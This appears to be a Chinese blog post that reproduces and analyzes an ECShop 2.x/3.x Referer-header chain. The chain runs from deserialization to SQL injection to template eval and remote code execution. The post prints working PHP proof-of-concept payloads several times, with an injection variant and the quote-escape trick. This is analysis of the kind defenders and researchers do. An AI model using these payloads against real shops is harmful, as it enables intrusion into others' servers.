• ECShop相关漏洞复现/分析


    漏洞复现

     
    使用P师傅的Paylaod
     

    <?php
    $shell = bin2hex("{$asd'];phpinfo	();//}xxx");
    $id = "-1' UNION/*";
    $arr = [
        "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
        "id" => $id
    ];
    
    $s = serialize($arr);
    
    $hash3 = '45ea207d7a2b68c49582d2d22adf953a';
    $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
    
    echo "POC for ECShop 2.x: 
    ";
    echo "{$hash2}ads|{$s}{$hash2}";
    echo "
    
    POC for ECShop 3.x: 
    ";
    echo "{$hash3}ads|{$s}{$hash3}";
    

     

     
    EcShop 2.x
     

     
    EcShop3.x
     

     
    从POC看的话,可以看的出漏洞处于Referer该请求头处
     

    漏洞分析

     
    漏洞位于 user.php
     

     
    这里面的 $back_act 可控,之后进入 assign 函数中
     

     
    跟进发现将其值赋给 _var[$tpl_var] ,这个可能就是模版变量
     

     
    之后调用 display 函数
     

     

     
    $out 就是读取模版文件的内容,然后再用 $this->_echash 分割成数组,再将奇数的值放入 $this->insert_mod 中,我们跟进这个函数
     

     
    这里面先用 | 来分割获取函数名以及参数,参数后面使用反序列化获取,然后 $fun($para) 动态调用
     
    POC中找到的可用函数为 insert_ads
     
    根进可以发现,我们的数据被插入了sql中
     

     

     
    那么这里面显然是个Sql主入漏洞
     
    将P神的Payload稍微改了一下就能够Sql注入了
     

    <?php
    $shell = bin2hex("{$asd'];phpinfo	();//}xxx");
    $id = "-1' UNION/*";
    $arr = [
        "num" => sprintf('*/SELECT 1,3,(extractvalue(rand(),concat(0x7e,version())),1),4,5,6,7,8,9,10-- -'),
        "id" => $id
    ];
    
    $s = serialize($arr);
    
    $hash3 = '45ea207d7a2b68c49582d2d22adf953a';
    $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
    
    echo "POC for ECShop 2.x: 
    ";
    echo "{$hash2}ads|{$s}{$hash2}";
    echo "
    
    POC for ECShop 3.x: 
    ";
    echo "{$hash3}ads|{$s}{$hash3}";
    ?>
    

     

     
    至于如何Rce需要继续向下分析
     
    查询到的字段放在 $res
     

     

     

    其中将 $position_style 赋值为 $row['position_style']
     

     
    在后面的 fetch 中会调用
     
    跟进看看
     

     
    只要满足 strncmp($filename,'str:', 4) == 0 就会进入 $->_eval() 函数
     

    eval其实主要就是执行代码,重要的就是 fetch_str 这个函数
     

     
    其中第一个正则
     

     
    他过滤了类似于 phpinfo() 或者 phpinfo () 这类的,这里面使用的是 绕过
     

     
    这条的正则的意思为
     

     
    我们继续跟进去 select() 函数
     

     
    当传入的第一个字符为 $ 时去除 $ 进入 $this->get_val() 函数
     

    &nbsp
    若我们传入值不为 .$ 进入 nake_var 函数
     
    跟进
     

     
    若传入的变量不存在 . 则返回 $this->_var['变量'];
     

     
    回到最后前面就会返回

    <?php echo  $this->_var['变量'];?>
    

     

     
    最后拼接到eval中执行
     

     
    显然我们可以利用单引号逃逸这个变量,因此exp为
     

    {$asd'];phpinfo	();//}xxx
    

     
    放入原Payload就为
     

    <?php echo  $this->_var['asd'];phpinfo	();//'];?>
    

     
    同时3.x的漏洞也跟这个差不多,不同的只是 $this->_echash的不同
     
    这里面贴上P神的POC
     

    <?php
    $shell = bin2hex("{$asd'];phpinfo	();//}xxx");
    $id = "-1' UNION/*";
    $arr = [
        "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
        "id" => $id
    ];
    
    $s = serialize($arr);
    
    $hash3 = '45ea207d7a2b68c49582d2d22adf953a';
    $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
    
    echo "POC for ECShop 2.x: 
    ";
    echo "{$hash2}ads|{$s}{$hash2}";
    echo "
    
    POC for ECShop 3.x: 
    ";
    echo "{$hash3}ads|{$s}{$hash3}";
    

     
    简单总结
     
    HttpReferer-> 利用$this->_echash进行分割->反序列化动态调用函数(函数名,参数可控)->利用union sql注入覆盖数据->正则绕过,单引号逃逸->RCE
     

  • 相关阅读:
    2021-4-1 日报博客
    2021-3-31 日报博客
    2021-3-30 日报博客
    2021-3-29 日报博客
    2021-3-27 周报博客
    java
    周末总结六
    java
    java
    java
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/ECShop-xiang-guan-lou-dong-fu-xianfen-xi.html
Copyright © 2020-2023  润新知